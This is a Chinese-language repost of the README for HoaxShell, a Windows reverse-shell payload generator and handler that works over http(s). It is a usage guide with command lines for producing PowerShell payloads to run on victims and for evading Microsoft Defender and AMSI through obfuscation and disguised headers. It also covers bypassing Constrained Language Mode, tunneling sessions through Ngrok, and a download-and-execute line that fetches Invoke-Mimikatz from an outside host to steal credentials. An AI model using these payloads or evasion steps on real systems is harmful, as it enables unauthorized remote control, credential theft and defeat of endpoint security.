Windows 反向 shell 负载生成器和处理程序滥用 http(s) 协议来建立类似信标的反向 shell
2023-6-2 11:10:50 Author: Ots安全(查看原文) 阅读量:20 收藏

⚡该项目的最新版本是HoaxShell 独立侦听器,它带有更新的有效负载模板。您也可以直接从https://revshells.com使用它(确保选择 hoaxshell 作为侦听器)。

⚠️自 2022 年 10 月 18 日起,AMSI(恶意软件百科全书)检测到了 hoaxshell 。您需要混淆生成的有效负载才能使用。观看此视频,了解如何手动混淆并绕过 MS Defender:

Hoaxshell 示例 -> youtube.com/watch?v=iElVfagdCD4

使用常见的 powershell revshell 模板的示例 -> youtube.com/watch?v=3HddKylkRzM

这个概念(可能通过使用 http 或什至套接字/预安装的 exe 以外的协议来实现)可用于建立会话,以促进拥有实际 shell 的错觉。与传统的反向 shell 相比,这有点假,这就是为什么不管这个工具的名称,我喜欢将此类实现称为 hoaxshell。

hoaxshell 虽然有点不同寻常,但它在对抗 AV 解决方案方面做得很好(查看AV 旁路 PoCs 表以获取更多信息)。虽然它现在可以被 Microsoft Defender 检测到,但很容易使用其他工具甚至手动混淆生成的有效负载。

针对完全更新的Windows 11 企业版、Windows Server 2016 数据中心和Windows 10 专业版进行了测试。

免责声明:纯粹用于测试和教育目的。不要针对您没有明确测试权限和授权的主机运行此工具生成的有效负载。您对使用此工具可能造成的任何麻烦负责。

截图


用法

重要提示:作为避免检测的一种方法,hoaxshell 会在每次启动脚本时自动为进程中使用的自定义 http 标头的会话 ID、URL 路径和名称生成随机值。生成的有效负载仅适用于为其生成的实例。

使用该-g选项可以绕过此行为并重新建立活动会话或使用新的 hoaxshell 实例重用过去生成的有效负载。

通过 http 的基本 shell 会话

当你运行 hoaxshell 时,它会生成自己的 PowerShell 有效负载,供你复制并注入到受害者身上。默认情况下,为方便起见,有效负载采用 base64 编码。如果您需要原始有效负载,请执行“rawpayload”提示命令或使用参数启动 hoaxshell -r。在受害者上执行有效载荷后,您将能够对其运行 PowerShell 命令。

利用的有效负载Invoke-Expression(默认)

sudo python3 hoaxshell.py -s <your_ip>

从文件写入和执行命令的有效载荷

用于-x提供要在受害计算机上创建的 .ps1 文件名(绝对路径)。您应该在执行前检查原始负载,确保您提供的路径是可靠的。

sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

避免检测的推荐用法(通过 http)

Hoaxshell 利用 http 标头来传输 shell 会话信息。默认情况下,标头被赋予一个随机名称,可以通过基于正则表达式的 AV 规则检测到。使用 -H 提供标准或自定义的 http 标头名称以避免检测。

sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"

sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

加密 shell 会话(https + 自签名证书)

这个特殊的有效载荷是一个危险信号,因为它以一个额外的代码块开始,该代码块指示 PowerShell 跳过 SSL 证书检查,这使得它可疑且易于检测,并且长度明显更长。不建议。

# Generate self-signed certificate:openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365# Pass the cert.pem and key.pem as arguments:sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>

具有可信证书的加密 shell 会话

如果您拥有一个域,请使用此选项通过为您的 DN 提供 -s 以及受信任的证书 (-c cert.pem -k privkey.pem) 来生成更短且不易检测的 https 负载。

sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>

抓取会话模式

如果你不小心关闭了你的终端,发生了断电或其他什么情况,你可以在抓取会话模式下启动 hoaxshell,它会尝试重新建立会话,前提是有效负载仍在受害者机器上运行。

sudo python3 hoaxshell.py -s <your_ip> -g

重要提示:确保使用与您尝试恢复的会话相同的设置(http/https、端口等)启动 hoaxshell。

约束语言模式支持

使用带有 (--constraint-mode) 选项的任何有效负载变体-cm来生成有效负载,即使受害者配置为在约束语言模式下运行 PS 也能正常工作。通过使用此选项,您会牺牲一些反向 shell 的标准输出解码精度。

sudo python3 hoaxshell.py -s <your_ip> -cm


使用隧道工具(Ngrok / LocalTunnel)通过 https 进行 Shell 会话

利用隧道程序Ngrok或LocalTunnel通过安全隧道获取会话,克服没有静态 IP 地址或您的 ISP 禁止端口转发等问题。

使用-ng或--ngrok用于 Ngrok 服务器

sudo python3 hoaxshell.py -ng

使用-lt或--localtunnel用于 LocalTunnel 服务器

sudo python3 hoaxshell.py -lt

限制

如果您执行启动交互式会话的命令,shell 将挂起。例子:

# this command will execute succesfully and you will have no problem: > powershell echo 'This is a test'# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:> powershell# In the same manner, you won't have a problem executing this:> cmd /c dir /a# But this will cause your hoaxshell to hang:> cmd.exe

因此,例如,如果您想通过 hoaxshell 运行 mimikatz,则需要调用以下命令:

hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

长话短说,您必须小心不要运行在 hoaxshell powershell 上下文中启动交互式会话的 exe 或 cmd。

项目地址:https://github.com/t3l3machus/hoaxshell


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247498348&idx=1&sn=834bc579d2fb5a88b615499c25c2f25d&chksm=9badb327acda3a31820f7039c45ed208e8539602c3f2724222e2cb29af0492cd40b2b36c3de9#rd
如有侵权请联系:admin#unsafe.sh